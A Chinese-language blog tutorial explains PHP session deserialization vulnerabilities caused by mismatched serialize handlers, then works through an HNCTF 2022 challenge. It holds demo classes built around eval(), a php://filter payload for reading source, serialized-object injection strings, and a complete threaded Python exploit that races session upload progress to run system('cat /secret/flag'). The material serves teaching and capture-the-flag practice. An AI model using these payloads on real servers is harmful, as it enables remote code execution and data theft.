PHP session反序列化漏洞解析

PHP session反序列化漏洞解析

PHPsession反序列化漏洞,是当序列化存储Session数据与反序列化读取Session数据的方式不同时产生的

一、什么是session

官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。主要有以下特点:

session保存的位置是在服务器端

session通常是要配合cookie使用

因为HTTP的无状态性,服务端产生了session来标识当前的用户状态。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。

本质上,session就是一种可以维持服务器端的数据存储技术。即**session技术就是一种基于后端有别于数据库的临时存储数据的技术**

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

二、PHP session工作流程

  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID

    • 如果Cookie中存在,获取PHPSESSID
    • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
  2. 初始化超全局变量$_SESSION为一个空数组

  3. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件

    • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
    • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  4. 程序执行结束,将$_SESSION中保存的所有数据序列化存储PHPSESSID对应的文件中

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

具体原理图:

1646988659_622b0d7380818dab56a63

php.ini session配置

php.ini里面有较重要的session配置项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

以下的这些配置并非本文的主题,但也涉及一些比较多的安全问题,如会话劫持、XSS、CSRF 等,在下列展示

session.gc_divisor --php session垃圾回收机制相关配置
session.sid_bits_per_character --指定编码的会话ID字符中的位
session.use_strict_mode --严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
session.use_cookies --指定是否在客户端用 cookie 来存放会话 ID,默认启用
session.cookie_secure --指定是否仅通过安全连接发送 cookie,默认关闭
session.use_only_cookies --指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击
session.name --指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID
session.cookie_lifetime --指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0
session.cookie_path --指定要设置会话cookie 的路径,默认为 /
session.cookie_domain --指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名
session.cookie_httponly --将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
session.gc_probability --该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率
session.gc_divisor --该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率
session.gc_maxlifetime --指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor)
session.referer_check --包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串
session.cache_limiter --指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache
session.cache_expire --以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180
session.use_trans_sid --指定是否启用透明 SID 支持。默认禁用
session.sid_length --配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。
session.trans_sid_tags --指定启用透明sid支持时重写哪些HTML标签以包括会话ID
session.trans_sid_hosts --指定启用透明sid支持时重写的主机,以包括会话ID
session.sid_bits_per_character --配置编码的会话ID字符中的位数
session.upload_progress.prefix --配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_
session.upload_progress.name --$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq --定义应该多长时间更新一次上传进度信息
session.upload_progress.min_freq--更新之间的最小延迟
session.lazy_write --配置会话数据在更改时是否被重写,默认启用

三、PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的 session存储的文件名为ci_sessionSESSIONID,如下图所示:

20191026142528-67263294-f7b9-1

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 *php_serialize*

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|!) 。

下面我们实例来看看三种不同处理器序列化后的结果。

php 处理器

首先来看看session.serialize_handler等于 php时候的序列化结果,demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

20191026142611-80d4aebe-f7b9-1

(图从大佬博客中所拿)

序列化的结果为:session|s:7:"xianzhi";

session$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#,所以最终的结果如下图所示:

img

序列化的结果为:#sessionsessionsessionsessionsessions:7:"xianzhi";

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于 php_serialize时候的序列化结果,同理,demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

img

序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

四、利用漏洞

漏洞成因

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

首先创建session.php,使用php_serialize处理器来存储session数据

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>

test.php,使用默认php处理器来存储session数据

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_start();
class f4ke{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
eval($this->name);
}
}
$str = new f4ke();
?>

接着,我们构建URL进行访问session.php

1
http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

img

打开PHPSESSID文件可看到序列化存储的内容

1
a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

img

漏洞分析:

session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

键名 竖线 经过 serialize() 函数反序列处理的值
a:1:{s:7:”session”;s:45:” | O:4:”f4ke”:1:{s:4:”name”;s:10:”phpinfo();”;}

php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

1
2
$_SESSION['session'] = new f4ke();
$_SESSION['session']->name = 'phpinfo();';

我们访问test.php,即可直接执行phpinfo()函数

img

在这里通过一个具体的题目来看

[HNCTF 2022 WEEK4]unf1ni3hed_web3he1

image-20250731000947113

进来让你传cmd参数,发现一传就是302跳转,抓包得到

image-20250731001054853

访问/Rea1web3he11.php,得到image-20250731001141830

然后就有点脑洞大开了,要访问/t00llll.php,得到一个工具

image-20250731001248344

说真正webshell在/Rea1web3he11.php,那用这个得到/Rea1web3he11.php源码,payload为?include_=php://filter/convert.base64-encode/resource=Rea1web3he11.php,源码base64解码后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>";

class webshell{
public $caution;
public $execution;

function __construct(){
$this -> caution = new caution();
}

function __destruct(){
$this -> caution -> world_execute();
}
function exec(){
@eval($execution);
}
}
class caution{
function world_execute(){
echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."<br>";
}
}
class execution{
public $cmd;
function __construct(){
$this -> cmd = 'echo "即将执行命令:".$cmd;';
}
function world_execute(){
eval($this -> cmd);
}
}
?>

因为有ini_set('session.serialize_handler', 'php');,可以看到,这里使用 PHP 处理器,又有session_start();所以这个就是考察php session反序列化,那我们如何将控制session的注入呢?

这里需要用到这个配置session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用,这就意味着我们在上传文件的时候,当请求中包含 PHP_SESSION_UPLOAD_PROGRESS 字段,PHP 会自动将该字段的值作为 $_SESSION 的键名,并在这个键名下存储上传进度数据(如文件名、已上传大小等)。

等上传结束后, $_SESSION 的键名与键名下存储上传进度数据都会保存到存储介质(通常是服务器的临时文件,如/tmp/sess_<PHPSESSID>),并在这个过程中进行序列化。

而这个/tmp/sess_<PHPSESSID>文件中的在session_start();的时候会又反序列化成为$_SESSION变量,这时候如果在PHP_SESSION_UPLOAD_PROGRESS 字段中写入恶意payload被当作 $_SESSION 的键名话,反序列化就会执行恶意payload。

同时,在session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用启动的时候,session.upload_progress.cleanup= On --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用也是默认启动的,上传后会立即清理掉,session会立刻被清空覆盖,所以这里就需要使用条件竞争来将session给覆盖掉

这里再引用一下别人博客中的解释

1
2
3
4
5
6
7
    Session 上传进度(此特性自 PHP 5.4.0 后可用)

当 session.upload_progress.enabledINI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。

翻译成人话就是,当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

原理在上面已经说过了,下面就直接给出exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import threading
import requests

url = 'http://node5.anna.nssctf.cn:23147/Rea1web3he11.php'
sess_id = 'aaa' //这里手动指定一个固定的 Session ID,就将序列化写入的临时文件定成同一个,如果不固定 PHPSESSID,每次请求可能生成新的 ID,两个线程操作的 Session 会不同,恶意数据就无法被 session_start() 反序列化时读取到。

cmd = "system('cat /secret/flag');" //这个就直接命令执行自己看

payload = r'|O:8:"webshell":1:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:' + str(len(cmd)) + ':"' + cmd + '";}}'

def upload():
files = [
('file', ('xx.txt', 'xxx'*10240)),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}

while True:
res = requests.post(url, data=data, files=files, cookies={'PHPSESSID': sess_id})
print('upload',res.text)

def write():
while True:
res = requests.get(url, cookies={'PHPSESSID': sess_id})
print('write',res.text)

for i in range(10):
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=write)
t1.start()
t2.start()

然后就有flag了

参考博客

https://www.freebuf.com/articles/web/324519.html

https://xz.aliyun.com/news/6244

https://www.nssctf.cn/note/set/11028


PHP session反序列化漏洞解析
http://example.com/2025/07/30/PHP-session反序列化漏洞解析/
作者
yuhua
发布于
2025年7月30日
许可协议